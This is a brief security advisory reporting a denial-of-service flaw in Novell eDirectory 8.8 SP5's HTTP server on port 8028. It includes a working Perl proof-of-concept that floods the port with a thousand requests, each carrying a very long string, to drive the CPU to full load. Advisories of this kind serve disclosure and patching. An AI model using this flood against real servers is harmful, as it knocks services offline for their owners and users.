Affected Software:
Novell eDirectory 8.8 SP5

Vulnerability Description:
Novell eDirectory 8.8 SP5 is vulnerable to a denial of service attack.
If a remote attacker sends Unicode strings with Http Request to "8028 port"
("8028" is the default port of Novell eDirectory Dhost Http Server),
the attacker can cause the system to consume %100 of the CPU resources.

Discovered by:
karak0rsan, Hellcode Research

Original Advisory:
http://tcc.hellcode.net/advisories/hellcode-adv003.txt

Exploit:

 - snip-
....

$data = "?" x 500000;

for($i= 0; $i < 1000; $i++)
{
 $sock= new IO::Socket::INET( PeerAddr => "localhost",
 PeerPort => 8028,

 Proto => 'tcp',
 Type => SOCK_STREAM,

 );
 
 print $sock "GET /$data HTTP/1.0\r\n\r\n";
 
 close($sock);
}

...
 - snip -